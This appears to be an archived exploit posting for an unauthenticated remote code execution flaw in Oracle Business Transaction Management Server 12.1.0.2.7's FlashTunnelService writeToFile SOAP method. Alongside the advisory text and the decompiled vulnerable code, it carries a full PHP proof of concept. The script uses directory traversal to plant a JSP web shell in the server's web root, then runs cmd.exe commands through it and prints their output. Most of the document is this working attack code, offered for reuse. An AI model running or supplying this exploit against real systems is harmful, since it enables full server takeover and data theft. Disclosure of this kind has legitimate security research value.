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Oracle BTM Server 12.1.0.2.7 Remote Code Execution

Oracle BTM Server 12.1.0.2.7 Remote Code Execution
Posted Aug 7, 2012
Authored by rgod | Site retrogod.altervista.org

Oracle Business Transaction Management Server version 12.1.0.2.7 suffers from a remote code execution vulnerability in the FlashTunnelService WriteToFile message. Proof of concept included.

tags | exploit, remote, code execution, proof of concept
MD5 | 942dde996f9deaa3c951dcebc0fb416f

Oracle BTM Server 12.1.0.2.7 Remote Code Execution

Change Mirror Download
Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService 
WriteToFile Message Remote Code Execution Exploit

tested against: Microsoft Windows Server 2003 r2 sp2
Oracle WebLogic Server 12c (12.1.1)
Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)

files tested:
oepe-indigo-installer-12.1.1.0.1.201203120349-12.1.1-win32.exe (weblogic)
download url: http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html

BTM_Servers_12.1.0.2.7.zip (BTM, production version)
download url: http://www.oracle.com/technetwork/oem/downloads/btw-downloads-207704.html


vulnerability:
the mentioned product installs a web service
called "FlashTunnelService" which can be reached
without prior authentication and processes incoming
SOAP requests.

It can be reached at the following uri:
http://[host]:7001/btmui/soa/flash_svc/

This soap interface exposes the writeToFile function
which could allow to write arbitrary files on the target
server.

Example packet:

POST /btmui/soa/flash_svc/ HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://soa.amberpoint.com/writeToFile"
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 192.168.0.1:7001
Content-Length: [length]

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
<soapenv:Header/>
<soapenv:Body>
<int:writeToFileRequest>
<int:writeToFile handle="..\..\..\..\..\..\..\..\[path]\somefile.jsp">
<!--Zero or more repetitions:-->
<typ:text>[code]</typ:text>
<!--Optional:-->
<typ:WriteToFileRequestVersion>
<!--You may enter ANY elements at this point-->
</typ:WriteToFileRequestVersion>
</int:writeToFile>
</int:writeToFileRequest>
</soapenv:Body>
</soapenv:Envelope>

the 'handle' property can be used to control the location
of the newly written file (it suffers of a directory traversal ulnerability).
File extension can also be controlled.
File content can be controlled through the 'text' element (note that one
must convert the code to html entities firstly, the soap interface
will reconvert it to his original format).

Given this, a remote attacker, could place an arbitrary jsp script
inside the main web server root path, then execute arbitrary code
with the privileges of the weblogic installation, usually Administrator
privileges).

vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl.class

...
public IWriteToFileResponse writeToFile(IWriteToFileRequest request)
throws SOAPFaultException
{
WriteToFileResponse wtfr = new WriteToFileResponse();
String handle = request.getHandle();
TypedList text = request.getText();
if(text != null && text.size() > 0)
{
File f = getFileFromHandle(handle);
if(f != null)
try
{
FileOutputStream fos = new FileOutputStream(f);
OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");
int i = 0;
for(int ii = text.size(); i < ii; i++)
{
String s = (String)text.get(i);
osw.write(s);
osw.write("\n");
}

osw.close();
}
catch(IOException ex)
{
logger.log(Level.SEVERE, (new StringBuilder()).append("IOException writing '").append(f.toString()).append("': ").append(ex.getMessage()).toString());
}
}
return wtfr;
}
...

As attachment, proof of concept code written in php, launch from the command line, modify for your own use.




PROOF OF CONCEPT:



<?php
/*
Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService
WriteToFile Message Remote Code Execution Exploit

tested against: Microsoft Windows Server 2003 r2 sp2
Oracle WebLogic Server 12c (12.1.1)
Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)

Example:
C:\php>php 9sg_ora.php 192.168.2.101 ver
[*] Attacking...
HTTP/1.1 200 OK
Date: Mon, 09 Jul 2012 08:53:11 GMT
Accept-Ranges: bytes
Content-Length: 40
Content-Type: text/plain
Last-Modified: Mon, 09 Jul 2012 08:53:09 GMT
X-Powered-By: Servlet/3.0 JSP/2.2


Microsoft Windows [Version 5.2.3790]


C:\php>php 9sg_ora.php 192.168.2.101 "start calc"


rgod
*/
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);

$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";

if (php_sapi_name() <> "cli") {
die($err[0]);
}

function syntax() {
print("usage: php 9sg_ora.php [ip_address] [cmd]\r\n" );
die();
}

$argv[2] ? print("[*] Attacking...\n") :
syntax();

if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
print("[*] curl loaded\n");
} else {
!dl("php_curl.so") ? die($err[1]) :
print("[*] curl loaded\n");
}
}

function _s($url, $is_post, $ck, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post == 1) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
}
if ($is_post == 2) {
curl_setopt($ch, CURLOPT_PUT, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
}

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Content-Type: text/xml;charset=UTF-8",
"SOAPAction: \"http://soa.amberpoint.com/writeToFile\"",


));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Jakarta Commons-HttpClient/3.1");
//curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
//curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 0);

if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
//die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
$host = $argv[1];
$port = 7001;
$cmd = $argv[2];




$code='<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String outstr = "";
try {
Runtime rt = Runtime.getRuntime();
Process p = rt.exec(cmd);
try {
InputStreamReader ise = new InputStreamReader(p.getErrorStream());
BufferedReader bre = new BufferedReader(ise);
InputStreamReader iso = new InputStreamReader(p.getInputStream());
BufferedReader bro = new BufferedReader(iso);
String line=null;
while ( (line = bre.readLine()) != null ) {
System.out.println( line );
}
while ( (line = bro.readLine()) != null ) {
System.out.println(line );
}

} catch (IOException ioe)
{
ioe.printStackTrace();
}
}
catch (Throwable t) {
t.printStackTrace();
}

%>
';
$code=htmlentities($code); //convert all to html entities, then no bad chars

//we should write to:
//C:\Oracle\Middleware\wlserver_12.1\samples\server\examples\build\mainWebApp\WEB-INF\classes\mainWebApp#\suntzu.jsp
//C:\Oracle\Middleware\wlserver_12.1\samples\server\examples\build\mainWebApp\suntzu.jsp
//change to a location of choice

$path=array('\server\examples\build\mainWebApp',
'\server\examples\build\mainWebApp\WEB-INF\classes\mainWebApp#');


for ($i=0; $i<count($path); $i++){
$soap='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
<soapenv:Header/>
<soapenv:Body>
<int:writeToFileRequest>
<int:writeToFile handle="..\..\..\..\..\..\..\..\..\..'.$path[$i].'\suntzu.jsp">
<typ:text>'.$code.'</typ:text>
<typ:WriteToFileRequestVersion>
</typ:WriteToFileRequestVersion>
</int:writeToFile>
</int:writeToFileRequest>
</soapenv:Body>
</soapenv:Envelope>';

$url = "http://$host:$port/btmui/soa/flash_svc/";
$out = _s($url, 1, "", $soap);
//print($out."\n");
sleep(1);
}

$cmd="cmd.exe /c ".$cmd." > ../../server/examples/build/mainWebApp/sh.txt";
$url = "http://$host:$port/suntzu.jsp?cmd=".urlencode($cmd);
$out = _s($url, 0, "", "");
//print($out."\n");

sleep(2);

$url = "http://$host:$port/sh.txt";
$out = _s($url, 0, "", "");
print($out."\n");
?>


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